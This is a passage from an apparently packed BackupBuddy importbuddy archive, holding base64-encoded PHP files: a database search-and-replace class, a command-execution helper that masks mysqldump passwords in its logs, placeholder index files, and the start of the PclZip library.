JCQkJCSRXSEVSRV9TUUwgPSAnIFdIRVJFICc7CgkJCQkKCQkJCQkkaiA9IDA7CgkJCQkJZm9yZWFjaCAoICRjb2x1bW5fbmFtZSBhcyAkY3VycmVudF9jb2x1bW4gKSB7CgkJCQkJCSRqKys7CgkJCQkJCSRjb3VudF9pdGVtc19jaGVja2VkKys7CgkJCQkJCgkJCQkJCSRkYXRhX3RvX2ZpeCA9ICRyb3dbJGN1cnJlbnRfY29sdW1uXTsKCQkJCQkJaWYgKCBmYWxzZSAhPT0gKCAkZWRpdGVkX2RhdGEgPSAkdGhpcy0+cmVwbGFjZV9tYXliZV9zZXJpYWxpemVkKCAkZGF0YV90b19maXgsICRvbGRzLCAkbmV3cyApICkgKSB7IC8vIG5vIGNoYW5nZSBuZWVkZWQKCQkJCQkJCSRjb3VudF9pdGVtc19jaGFuZ2VkKys7CgkJCQkJCQlpZiAoICRuZWVkX3RvX3VwZGF0ZSAhPSBmYWxzZSApIHsgLy8gSWYgdGhpcyBpc24ndCBvdXIgZmlyc3QgdGltZSBoZXJlLCB3ZSBuZWVkIHRvIGFkZCBhIGNvbW1hLgoJCQkJCQkJCSRVUERBVEVfU1FMID0gJFVQREFURV9TUUwgLiAnLCc7CgkJCQkJCQl9CgkJCQkJCQkkVVBEQVRFX1NRTCA9ICRVUERBVEVfU1FMIC4gJyAnIC4gJGN1cnJlbnRfY29sdW1uIC4gJyA9ICInIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICRlZGl0ZWRfZGF0YSApIC4gJyInOwoJCQkJCQkJJG5lZWRfdG9fdXBkYXRlID0gdHJ1ZTsgLy8gT25seSBzZXQgaWYgd2UgbmVlZCB0byB1cGRhdGUgLSBhdm9pZHMgd2FzdGVkIFVQREFURSBzdGF0ZW1lbnRzLgoJCQkJCQl9CgkJCQkJCgkJCQkJCWlmICggaXNzZXQoICR0YWJsZV9pbmRleFskal0gKSApIHsKCQkJCQkJCSRXSEVSRV9TUUwgPSAkV0hFUkVfU1FMIC4gJ2AnIC4gJGN1cnJlbnRfY29sdW1uIC4gJ2AgPSAiJyAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmRiRXNjYXBlKCAkcm93WyRjdXJyZW50X2NvbHVtbl0gKSAuICciIEFORCAnOwoJCQkJCQl9CgkJCQkJfQoJCQkJCgkJCQkJaWYgKCAkbmVlZF90b191cGRhdGUgKSB7CgkJCQkJCSRXSEVSRV9TUUwgPSBzdWJzdHIoICRXSEVSRV9TUUwgLCAwLCAtNCApOyAvLyBTdHJpcCBvZmYgdGhlIGV4Y2VzcyBBTkQgLSB0aGUgZWFzaWVzdCB3YXkgdG8gY29kZSB0aGlzIHdpdGhvdXQgZXh0cmEgZmxhZ3MsIGV0Yy4KCQkJCQkJJFVQREFURV9TUUwgPSAkVVBEQVRFX1NRTCAuICRXSEVSRV9TUUw7CgkJCQkJCSRyZXN1bHQgPSAkd3BkYi0+cXVlcnkoICRVUERBVEVfU1FMICk7CgkJCQkJCWlmICggZmFsc2UgPT09ICRyZXN1bHQgKSB7CgkJCQkJCQlpZiAoICEgZW1wdHkoICR3cGRiLT51c2VfbXlzcWxpICkgKSB7CgkJCQkJCQkJJG15c3FsX2Vycm9yID0gbXlzcWxpX2Vycm9yKCAkd3BkYi0+ZGJoICk7CgkJCQkJCQl9IGVsc2UgewoJCQkJCQkJCSRteXNxbF9lcnJvciA9IG15c3FsX2Vycm9yKCAkd3BkYi0+ZGJoICk7CgkJCQkJCQl9CgkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRVJST1I6IG15c3FsIGVycm9yIHVwZGF0aW5nIGRiOiAnIC4gJG15c3FsX2Vycm9yIC4gJy4gU1FMIFF1ZXJ5OiAnIC4gaHRtbGVudGl0aWVzKCAkVVBEQVRFX1NRTCApICk7CgkJCQkJCX0gCgkJCQkJfQoJCQkJCQoJCQkJfQoKCQkJCXVuc2V0KCAkZGF0YSApOwoKCQkJCS8vIFNlZSBob3cgd2UgYXJlIGRvaW5nIG9uIHRpbWUuIFRyaWdnZXIgY2h1bmtpbmcgaWYgbmVlZGVkLgoJCQkJaWYgKCAoICggbWljcm90aW1lKCB0cnVlICkgLSAkdGhpcy0+c3RhcnRUaW1lICkgKyAkdGhpcy0+dGltZVdpZ2dsZVJvb20gKSA+PSAkdGhpcy0+bWF4RXhlY3V0aW9uVGltZSApIHsKCQkJCQlyZXR1cm4gYXJyYXkoICRyb3dzX3N0YXJ0ICk7CgkJCQl9CgkJCX0KCQkJCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ0JydXRlIGZvcmNlIGRhdGEgbWlncmF0aW9uIGZvciB0YWJsZSBgJyAuICR0YWJsZSAuICdgIGNvbXBsZXRlLiBDaGVja2VkICcgLiAkY291bnRfaXRlbXNfY2hlY2tlZCAuICcgaXRlbXM7ICcgLiAkY291bnRfaXRlbXNfY2hhbmdlZCAuICcgY2hhbmdlZC4nICk7CgkJCQoJCQlyZXR1cm4gdHJ1ZTsKCQl9IC8vIEVuZCBicnV0ZWZvcmNlX3RhYmxlKCkuCgkJCgkJCgkJLyoqCgkJICoJcmVjdXJzaXZlX2FycmF5X3JlcGxhY2UoKQoJCSAqCQoJCSAqCVJlY3Vyc2l2ZWx5IHJlcGxhY2UgdGV4dCBpbiBhbiBhcnJheSwgc3RlcHBpbmcgdGhyb3VnaCBhcnJheXMvb2JqZWN0cyB3aXRoaW4gYXJyYXlzL29iamVjdHMgYXMgbmVlZGVkLgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCQkkZmluZAkJVGV4dCB0byBmaW5kLgoJCSAqCUBwYXJhbQkJc3RyaW5nCQkkcmVwbGFjZQlUZXh0IHRvIHJlcGxhY2UgZm91bmQgdGV4dCB3aXRoLgoJCSAqCUBwYXJhbQkJcmVmZXJlbmNlCSYkZGF0YQkJUGFzcyB0aGUgdmFyaWFibGUgdG8gY2hhbmdlIHRoZSBkYXRhIHdpdGhpbi4KCQkgKglAcmV0dXJuCQlib29sZWFuCQkJCQlBbHdheXMgdHJ1ZSBjdXJyZW50bHkuCgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gcmVjdXJzaXZlX2FycmF5X3JlcGxhY2UoICRmaW5kLCAkcmVwbGFjZSwgJiRkYXRhICkgewoJCQlpZiAoIGlzX2FycmF5KCAkZGF0YSApICkgewoJCQkJZm9yZWFjaCAoICRkYXRhIGFzICRrZXkgPT4gJHZhbHVlICkgewoJCQkJCS8vIEFSUkFZUwoJCQkJCWlmICggaXNfYXJyYXkoICR2YWx1ZSApICkgewoJCQkJCQkkdGhpcy0+cmVjdXJzaXZlX2FycmF5X3JlcGxhY2UoICRmaW5kLCAkcmVwbGFjZSwgJGRhdGFbJGtleV0gKTsKCQkJCQkJCgkJCQkJLy8gU1RSSU5HUwoJCQkJCX0gZWxzZWlmICggaXNfc3RyaW5nKCAkdmFsdWUgKSApIHsKCQkJCQkJJGRhdGFbJGtleV0gPSBzdHJfcmVwbGFjZSggJGZpbmQsICRyZXBsYWNlLCAkdmFsdWUgKTsKCQkJCQkKCQkJCQkvLyBPQkpFQ1RTCgkJCQkJfSBlbHNlaWYgKCBpc19vYmplY3QoICR2YWx1ZSApICkgewoJCQkJCQkvL2Vycm9yX2xvZyggdmFyX2V4cG9ydCggJGRhdGFbJGtleV0sIHRydWUgKSApOwoJCQkJCQkkdGhpcy0+cmVjdXJzaXZlX29iamVjdF9yZXBsYWNlKCAkZmluZCwgJHJlcGxhY2UsICRkYXRhWyRrZXldICk7CgkJCQkJCS8vZXJyb3JfbG9nKCB2YXJfZXhwb3J0KCAkZGF0YVska2V5XSwgdHJ1ZSApICk7CgkJCQkJfQoJCQkJfQoJCQl9IGVsc2VpZiAoIGlzX3N0cmluZyggJGRhdGEgKSApIHsKCQkJCSRkYXRhID0gc3RyX3JlcGxhY2UoICRmaW5kLCAkcmVwbGFjZSwgJGRhdGEgKTsKCQkJfSBlbHNlaWYgKCBpc19vYmplY3QoICRkYXRhICkgKSB7CgkJCQkkdGhpcy0+cmVjdXJzaXZlX29iamVjdF9yZXBsYWNlKCAkZmluZCwgJHJlcGxhY2UsICRkYXRhICk7CgkJCX0KCQl9CgkJCgkJCgkJLyoqCgkJICoJcmVjdXJzaXZlX29iamVjdF9yZXBsYWNlKCkKCQkgKgkKCQkgKglSZWN1cnNpdmVseSByZXBsYWNlIHRleHQgaW4gYW4gb2JqZWN0LCBzdGVwcGluZyB0aHJvdWdoIG9iamVjdHMvYXJyYXlzIHdpdGhpbiBvYmplY3RzL2FycmF5cyBhcyBuZWVkZWQuCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJCSRmaW5kCQlUZXh0IHRvIGZpbmQuCgkJICoJQHBhcmFtCQlzdHJpbmcJCSRyZXBsYWNlCVRleHQgdG8gcmVwbGFjZSBmb3VuZCB0ZXh0IHdpdGguCgkJICoJQHBhcmFtCQlyZWZlcmVuY2UJJiRkYXRhCQlQYXNzIHRoZSB2YXJpYWJsZSB0byBjaGFuZ2UgdGhlIGRhdGEgd2l0aGluLgoJCSAqCUByZXR1cm4JCWJvb2xlYW4JCQkJCUFsd2F5cyB0cnVlIGN1cnJlbnRseS4KCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiByZWN1cnNpdmVfb2JqZWN0X3JlcGxhY2UoICRmaW5kLCAkcmVwbGFjZSwgJiRkYXRhICkgewoJCQlpZiAoIGlzX29iamVjdCggJGRhdGEgKSApIHsKCQkJCSR2YXJzID0gZ2V0X29iamVjdF92YXJzKCAkZGF0YSApOwoJCQkJZm9yZWFjaCggJHZhcnMgYXMgJGtleSA9PiAkdmFyICkgewoJCQkJCS8vIEFSUkFZUwoJCQkJCWlmICggaXNfYXJyYXkoICRkYXRhLT57JGtleX0gKSApIHsKCQkJCQkJJHRoaXMtPnJlY3Vyc2l2ZV9hcnJheV9yZXBsYWNlKCAkZmluZCwgJHJlcGxhY2UsICRkYXRhLT57JGtleX0gKTsKCQkJCQkvLyBPQkpFQ1RTCgkJCQkJfSBlbHNlaWYgKCBpc19vYmplY3QoICRkYXRhLT57JGtleX0gKSApIHsKCQkJCQkJJHRoaXMtPnJlY3Vyc2l2ZV9vYmplY3RfcmVwbGFjZSggJGZpbmQsICRyZXBsYWNlLCAkZGF0YS0+eyRrZXl9ICk7CgkJCQkJLy8gU1RSSU5HUwoJCQkJCX0gZWxzZWlmICggaXNfc3RyaW5nKCAkZGF0YS0+eyRrZXl9ICkgKSB7CgkJCQkJCSRkYXRhLT57JGtleX0gPSBzdHJfcmVwbGFjZSggJGZpbmQsICRyZXBsYWNlLCAkZGF0YS0+eyRrZXl9ICk7CgkJCQkJfQoJCQkJfQoJCQl9IGVsc2VpZiAoIGlzX3N0cmluZyggJGRhdGEgKSApIHsKCQkJCSRkYXRhID0gc3RyX3JlcGxhY2UoICRmaW5kLCAkcmVwbGFjZSwgJGRhdGEgKTsKCQkJfSBlbHNlaWYgKCBpc19hcnJheSggJGRhdGEgKSApIHsKCQkJCSR0aGlzLT5yZWN1cnNpdmVfYXJyYXlfcmVwbGFjZSggJGZpbmQsICRyZXBsYWNlLCAkZGF0YSApOwoJCQl9CgkJfSAvLyBFbmQgcmVjdXJzaXZlX29iamVjdF9yZXBsYWNlKCkuCgkJCgkJCgkJLyoqCgkJICogQ2hlY2sgdmFsdWUgdG8gZmluZCBpZiBpdCB3YXMgc2VyaWFsaXplZC4KCQkgKgoJCSAqIElmICRkYXRhIGlzIG5vdCBhbiBzdHJpbmcsIHRoZW4gcmV0dXJuZWQgdmFsdWUgd2lsbCBhbHdheXMgYmUgZmFsc2UuCgkJICogU2VyaWFsaXplZCBkYXRhIGlzIGFsd2F5cyBhIHN0cmluZy4KCQkgKgoJCSAqIENvdXJ0ZXN5IFdvcmRQcmVzczsgc2luY2UgV29yZFByZXNzIDIuMC41LgoJCSAqCgkJICogQHBhcmFtIG1peGVkICRkYXRhIFZhbHVlIHRvIGNoZWNrIHRvIHNlZSBpZiB3YXMgc2VyaWFsaXplZC4KCQkgKiBAcmV0dXJuIGJvb2wgRmFsc2UgaWYgbm90IHNlcmlhbGl6ZWQgYW5kIHRydWUgaWYgaXQgd2FzLgoJCSAqLwoJCWZ1bmN0aW9uIGlzX3NlcmlhbGl6ZWQoICRkYXRhICkgewoJCQkvLyBpZiBpdCBpc24ndCBhIHN0cmluZywgaXQgaXNuJ3Qgc2VyaWFsaXplZAoJCQlpZiAoICEgaXNfc3RyaW5nKCAkZGF0YSApICkKCQkJCXJldHVybiBmYWxzZTsKCQkJJGRhdGEgPSB0cmltKCAkZGF0YSApOwoJCSAJaWYgKCAnTjsnID09ICRkYXRhICkKCQkJCXJldHVybiB0cnVlOwoJCQkkbGVuZ3RoID0gc3RybGVuKCAkZGF0YSApOwoJCQlpZiAoICRsZW5ndGggPCA0ICkKCQkJCXJldHVybiBmYWxzZTsKCQkJaWYgKCAnOicgIT09ICRkYXRhWzFdICkKCQkJCXJldHVybiBmYWxzZTsKCQkJJGxhc3RjID0gJGRhdGFbJGxlbmd0aC0xXTsKCQkJaWYgKCAnOycgIT09ICRsYXN0YyAmJiAnfScgIT09ICRsYXN0YyApCgkJCQlyZXR1cm4gZmFsc2U7CgkJCSR0b2tlbiA9ICRkYXRhWzBdOwoJCQlzd2l0Y2ggKCAkdG9rZW4gKSB7CgkJCQljYXNlICdzJyA6CgkJCQkJaWYgKCAnIicgIT09ICRkYXRhWyRsZW5ndGgtMl0gKQoJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQljYXNlICdhJyA6CgkJCQljYXNlICdPJyA6CgkJCQkJcmV0dXJuIChib29sKSBwcmVnX21hdGNoKCAiL157JHRva2VufTpbMC05XSs6L3MiLCAkZGF0YSApOwoJCQkJY2FzZSAnYicgOgoJCQkJY2FzZSAnaScgOgoJCQkJY2FzZSAnZCcgOgoJCQkJCXJldHVybiAoYm9vbCkgcHJlZ19tYXRjaCggIi9eeyR0b2tlbn06WzAtOS5FLV0rO1wkLyIsICRkYXRhICk7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQkKCQkKCQkvKioKCQkgKglyZW1vdmVfbWF0Y2hpbmdfYXJyYXlfZWxlbWVudHMoKQoJCSAqCQoJCSAqCVJlbW92ZXMgaWRlbnRpY2FsIGVsZW1lbnRzIChzYW1lIGluZGV4IGFuZCB2YWx1ZSkgZnJvbSBib3RoIGFycmF5cyB3aGVyZSB0aGV5IG1hdGNoLgoJCSAqCgkJICoJRXg6CgkJICoJCS8vIEJlZm9yZToKCQkgKgkJJGEgPSBhcnJheSggJ2FwcGxlJywgJ2JhbmFuYScsICdjYXJyb3QnICk7CgkJICoJCSRiID0gYXJyYXkoICdhcHBsZScsICdiZWVmJywgJ2N1Y3VtYmVyJyApOwoJCSAqCQlyZW1vdmVfbWF0Y2hpbmdfYXJyYXlfZWxlbWVudHMoICRhLCAkYiApOwoJCSAqCQkvLyBBZnRlcjoKCQkgKgkJJGEgPSBhcnJheSggJ2JhbmFuYScsICdjYXJyb3QnICk7CgkJICoJCSRiID0gYXJyYXkoICdiZWVmJywgJ2N1Y3VtYmVyJyApOwoJCSAqCQoJCSAqCUBwYXJhbQkJYXJyYXkJCSYkYQkJRmlyc3QgYXJyYXkgdG8gY29tcGFyZSB3aXRoIHNlY29uZC4gKHJlZmVyZW5jZSkKCQkgKglAcGFyYW0JCWFycmF5CQkmJGIJCVNlY29uZCBhcnJheSB0byBjb21wYXJlIHdpdGggZmlyc3QuIChyZWZlcmVuY2UpCgkJICoJQHJldHVybgkJbnVsbAkJCQlBcnJheXMgcGFzc2VkIGFyZSB1cGRhdGVkIGFzIHRoZXkgYXJlIHBhc3NlZCBieSByZWZlcmVuY2UuCgkJICoKCQkgKi8KCQlmdW5jdGlvbiByZW1vdmVfbWF0Y2hpbmdfYXJyYXlfZWxlbWVudHMoICYkYSwgJiRiICkgewoJCQkkc2l6ZW9mID0gc2l6ZW9mKCAkYSApOwoJCQlmb3IoICRpPTA7ICRpIDwgJHNpemVvZjsgJGkrKyApIHsKCQkJCWlmICggJGFbJGldID09ICRiWyRpXSApIHsKCQkJCQl1bnNldCggJGFbJGldICk7CgkJCQkJdW5zZXQoICRiWyRpXSApOwoJCQkJfQoJCQl9CgkJCQoJCQkkYSA9IGFycmF5X21lcmdlKCAkYSApOyAvLyBSZXNldCBudW1iZXJpbmcgb2Yga2V5cy4KCQkJJGIgPSBhcnJheV9tZXJnZSggJGIgKTsgLy8gUmVzZXQgbnVtYmVyaW5nIG9mIGtleXMuCgkJfQoJCQoJCQoJfSAvLyBlbmQgcGx1Z2luYnVkZHlfZGJyZXBsYWNlIGNsYXNzLgp9Cj8+Cg==
###PACKDATA,FILE_END,/lib/dbreplace/dbreplace.php,importbuddy/lib/dbreplace/dbreplace.php
###PACKDATA,FILE_START,/lib/dbreplace/history.txt,importbuddy/lib/dbreplace/history.txt
MS4wLjAgLSAyMDExLTA4LTE4IC0gRHVzdGluIEJvbHRvbgoJQ3JlYXRlZCBkYnJlcGxhY2UgY2xhc3Mu
###PACKDATA,FILE_END,/lib/dbreplace/history.txt,importbuddy/lib/dbreplace/history.txt
###PACKDATA,FILE_START,/lib/dbreplace/index.htm,importbuddy/lib/dbreplace/index.htm
PD9waHAKLyoqCiAqIFNpbGVuY2UgaXMgZ29sZGVuLgogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8K
###PACKDATA,FILE_END,/lib/dbreplace/index.htm,importbuddy/lib/dbreplace/index.htm
###PACKDATA,FILE_START,/lib/dbreplace/index.php,importbuddy/lib/dbreplace/index.php
PD9waHAKLyoqCiAqIFNpbGVuY2UgaXMgZ29sZGVuLgogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8K
###PACKDATA,FILE_END,/lib/dbreplace/index.php,importbuddy/lib/dbreplace/index.php
###PACKDATA,FILE_START,/lib/commandbuddy/commandbuddy.php,importbuddy/lib/commandbuddy/commandbuddy.php
PD9waHAKLy8gVE9ETzogRXZlbnR1YWxseSBwdWxsIG91dCBhbGwgY29tbWFuZCBsaW5lIGV4ZWN1dGlvbiB0byBydW4gdGhyb3VnaCB0aGlzIGxpYnJhcnkuCi8vCQlDdXJyZW50bHkgY29kZSBpcyBkdWNwbGljYXRlZCBiZXR3ZWVuIHRoZSBsaWJyYXJpZXMgdGhhdCBydW4gY29tbWFuZCBsaW5lIGNvbW1hbmRzLgoKY2xhc3MgcGJfYmFja3VwYnVkZHlfY29tbWFuZGJ1ZGR5IHsKCQoJcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgewoJfQoJCgkvKglleGVjdXRlKCkKCSAqCQoJICoJRXhlY3V0ZSBhIGNvbW1hbmQgdmlhIHRoZSBjb21tYW5kIGxpbmUuCgkgKglFeGFtcGxlIHVzYWdlOgoJICoJCWxpc3QoICRleGVjX291dHB1dCwgJGV4ZWNfZXhpdF9jb2RlICkgPSAkdGhpcy0+ZXhlY3V0ZSggJ0NPTU1BTkRISEVSRScgKTsKCSAqCQoJICoJQHBhcmFtCQlzdHJpbmcJCSRjb21tYW5kCQlDb21tYW5kIGxpbmUgdG8gcnVuLgoJICoJQHJldHVybgkJYXJyYXkJCQkJCQlBc3NvY2lhdGl2ZSBhcnJheSBvZiB0aGUgcmVzcG9uc2Ugb3V0cHV0IGFuZCBleGlzdCBjb2RlLiBVc2Ugd2l0aCBsaXN0IHRvIGFzc2lnbiB2YXJpYWJsZXMuCgkgKgkJCQkJCQkJCQkJRm9ybWF0OiBhcnJheSggRVhFQ19PVVRQVVQsIEVYSVRfQ09ERSApOwoJICovCglwdWJsaWMgZnVuY3Rpb24gZXhlY3V0ZSggJGNvbW1hbmQgKSB7CgkJaWYgKCBzdHJpc3RyKCBQSFBfT1MsICdXSU4nICkgJiYgIXN0cmlzdHIoIFBIUF9PUywgJ0RBUldJTicgKSApIHsKCQkJLy8gV2luZG93czsgZG8gbm90aGluZy4KCQl9IGVsc2UgeyAvLyBMaW51eC9NYWMKCQkJaWYgKCAoIGluaV9nZXQoICdleGVjX2RpcicgKSAhPT0gZmFsc2UgKSAmJiAoIGluaV9nZXQoICdleGVjX2RpcicgKSAhPSAnJyApICkgeyAvLyBleGVjX2RpciBQSFAgcGF0Y2ggaW4gcGxhY2U6IGh0dHA6Ly93d3cua3liZXJkaWdpLmN6L3Byb2plY3RzL2V4ZWNkaXIvCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdleGVjX2RpciBkZXRlY3RlZC4gU2tpcHBpbmcgcGF0aCBhc3NpZ25tZW50LicgKTsKCQkJfSBlbHNlIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ2V4ZWNfZGlyIG5vdCBkZXRlY3RlZC4gUHJvY2VlZGluZyBub3JtYWxseS4nICk7CgkJCQkkY29tbWFuZCA9ICdQQVRIPSRQQVRIOi91c3IvYmluLzovdXNyL2xvY2FsL2Jpbi86dXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4vOi91c3Ivc2Jpbi86L3NiaW4vOi91c3IvOi9iaW4vJyAuICc7ICcgLiAkY29tbWFuZDsKCQkJfQoJCX0KCQkKCQkvLyBPdXRwdXQgY29tbWFuZCAoc3RyaXBzIG15c3FsZHVtcCBwYXNzd29yZHMpLgoJCWlmICggc3Ryc3RyKCAkY29tbWFuZCwgJy0tcGFzc3dvcmQ9JyApICkgewoJCQkkcGFzc3dvcmRfcG9ydGlvbl9iZWdpbiA9IHN0cnBvcyggJGNvbW1hbmQsICctLXBhc3N3b3JkPScgKTsKCQkJJHBhc3N3b3JkX3BvcnRpb25fZW5kID0gc3RycG9zKCAkY29tbWFuZCwgJyAnLCAkcGFzc3dvcmRfcG9ydGlvbl9iZWdpbiApOwoJCQkvL3BiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ3Bhc3Mgc3RhcnQ6IGAnIC4gJHBhc3N3b3JkX3BvcnRpb25fYmVnaW4gLiAnYC4gcGFzcyBlbmQ6IGAnIC4gJHBhc3N3b3JkX3BvcnRpb25fZW5kIC4gJ2AnICk7CgkJCSRwYXNzd29yZF9wb3J0aW9uID0gc3Vic3RyKCAkY29tbWFuZCwgJHBhc3N3b3JkX3BvcnRpb25fYmVnaW4sICggJHBhc3N3b3JkX3BvcnRpb25fZW5kIC0gJHBhc3N3b3JkX3BvcnRpb25fYmVnaW4gKSApOwoJCQkvL3BiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ3Bhc3MgcG9ydGlvbjogYCcgLiAkcGFzc3dvcmRfcG9ydGlvbiAuICdgLicgKTsKCQkJJHVucGFzc3dvcmRlZF9jb21tYW5kID0gc3RyX3JlcGxhY2UoICRwYXNzd29yZF9wb3J0aW9uLCAnLS1wYXNzd29yZD0qSElEREVOKicsICRjb21tYW5kICk7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ2V4ZWMoKSBjb21tYW5kIChwYXNzd29yZCBoaWRkZW4pIGAnIC4gJHVucGFzc3dvcmRlZF9jb21tYW5kIC4gJ2AgKHdpdGggcGF0aCBkZWZpbml0aW9uKS4nICk7CgkJCXVuc2V0KCAkdW5wYXNzd29yZGVkX2NvbW1hbmQgKTsKCQl9IGVsc2UgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdleGVjKCkgY29tbWFuZCBgJyAuICRjb21tYW5kIC4gJ2AgKHdpdGggcGF0aCBkZWZpbml0aW9uKS4nICk7CgkJfQoJCQoJCSRleGVjX291dHB1dCA9IGFycmF5KCk7CgkJQGV4ZWMoICRjb21tYW5kLCAkZXhlY19vdXRwdXQsICRleGVjX2V4aXRfY29kZSk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnZXhlYygpIGNvbW1hbmQgb3V0cHV0OiBgJyAuIGltcGxvZGUoICcsJywgJGV4ZWNfb3V0cHV0ICkgLiAnYDsgRXhpdCBjb2RlOiBgJyAuICRleGVjX2V4aXRfY29kZSAuICdgOyBFeGl0IGNvZGUgZGVzY3JpcHRpb246IGAnIC4gcGJfYmFja3VwYnVkZHk6OiRmaWxlc3lzdGVtLT5leGl0X2NvZGVfbG9va3VwKCAkZXhlY19leGl0X2NvZGUgKSAuICdgJyApOwoJCQoJCXJldHVybiBhcnJheSggJGV4ZWNfb3V0cHV0LCAkZXhlY19leGl0X2NvZGUgKTsKCX0gLy8gRW5kIGV4ZWN1dGUoKS4KfQ==
###PACKDATA,FILE_END,/lib/commandbuddy/commandbuddy.php,importbuddy/lib/commandbuddy/commandbuddy.php
###PACKDATA,FILE_START,/lib/commandbuddy/index.php,importbuddy/lib/commandbuddy/index.php
PD9waHAKLyoqCiAqIFNpbGVuY2UgaXMgZ29sZGVuLgogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8K
###PACKDATA,FILE_END,/lib/commandbuddy/index.php,importbuddy/lib/commandbuddy/index.php
###PACKDATA,FILE_START,/lib/pclzip/index.php,importbuddy/lib/pclzip/index.php
PD9waHAgLy8gU2lsZW5jZSBpcyBnb2xkZW4u
###PACKDATA,FILE_END,/lib/pclzip/index.php,importbuddy/lib/pclzip/index.php
###PACKDATA,FILE_START,/lib/pclzip/pclzip.php,importbuddy/lib/pclzip/pclzip.php
PD9waHAKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gUGhwQ29uY2VwdCBMaWJyYXJ5IC0gWmlwIE1vZHVsZSAyLjguMgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQovLyBMaWNlbnNlIEdOVS9MR1BMIC0gVmluY2VudCBCbGF2ZXQgLSBBdWd1c3QgMjAwOQovLyBodHRwOi8vd3d3LnBocGNvbmNlcHQubmV0Ci8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCi8vCi8vIFByZXNlbnRhdGlvbiA6Ci8vICAgUGNsWmlwIGlzIGEgUEhQIGxpYnJhcnkgdGhhdCBtYW5hZ2UgWklQIGFyY2hpdmVzLgovLyAgIFNvIGZhciB0ZXN0cyBzaG93IHRoYXQgYXJjaGl2ZXMgZ2VuZXJhdGVkIGJ5IFBjbFppcCBhcmUgcmVhZGFibGUgYnkKLy8gICBXaW5aaXAgYXBwbGljYXRpb24gYW5kIG90aGVyIHRvb2xzLgovLwovLyBEZXNjcmlwdGlvbiA6Ci8vICAgU2VlIHJlYWRtZS50eHQgYW5kIGh0dHA6Ly93d3cucGhwY29uY2VwdC5uZXQKLy8KLy8gV2FybmluZyA6Ci8vICAgVGhpcyBsaWJyYXJ5IGFuZCB0aGUgYXNzb2NpYXRlZCBmaWxlcyBhcmUgbm9uIGNvbW1lcmNpYWwsIG5vbiBwcm9mZXNzaW9uYWwKLy8gICB3b3JrLgovLyAgIEl0IHNob3VsZCBub3QgaGF2ZSB1bmV4cGVjdGVkIHJlc3VsdHMuIEhvd2V2ZXIgaWYgYW55IGRhbWFnZSBpcyBjYXVzZWQgYnkKLy8gICB0aGlzIHNvZnR3YXJlIHRoZSBhdXRob3IgY2FuIG5vdCBiZSByZXNwb25zaWJsZS4KLy8gICBUaGUgdXNlIG9mIHRoaXMgc29mdHdhcmUgaXMgYXQgdGhlIHJpc2sgb2YgdGhlIHVzZXIuCi8vCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCi8vICRJZDogcGNsemlwLmxpYi5waHAsdiAxLjYwIDIwMDkvMDkvMzAgMjE6MDE6MDQgdmJsYXZldCBFeHAgJAovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLSBDb25zdGFudHMKICBpZiAoIWRlZmluZWQoJ1BDTFpJUF9SRUFEX0JMT0NLX1NJWkUnKSkgewogICAgZGVmaW5lKCAnUENMWklQX1JFQURfQkxPQ0tfU0laRScsIDIwNDggKTsKICB9CgogIC8vIC0tLS0tIEZpbGUgbGlzdCBzZXBhcmF0b3IKICAvLyBJbiB2ZXJzaW9uIDEueCBvZiBQY2xaaXAsIHRoZSBzZXBhcmF0b3IgZm9yIGZpbGUgbGlzdCBpcyBhIHNwYWNlCiAgLy8gKHdoaWNoIGlzIG5vdCBhIHZlcnkgc21hcnQgY2hvaWNlLCBzcGVjaWZpY2FsbHkgZm9yIHdpbmRvd3MgcGF0aHMgISkuCiAgLy8gQSBiZXR0ZXIgc2VwYXJhdG9yIHNob3VsZCBiZSBhIGNvbW1hICgsKS4gVGhpcyBjb25zdGFudCBnaXZlcyB5b3UgdGhlCiAgLy8gYWJpbHR5IHRvIGNoYW5nZSB0aGF0LgogIC8vIEhvd2V2ZXIgbm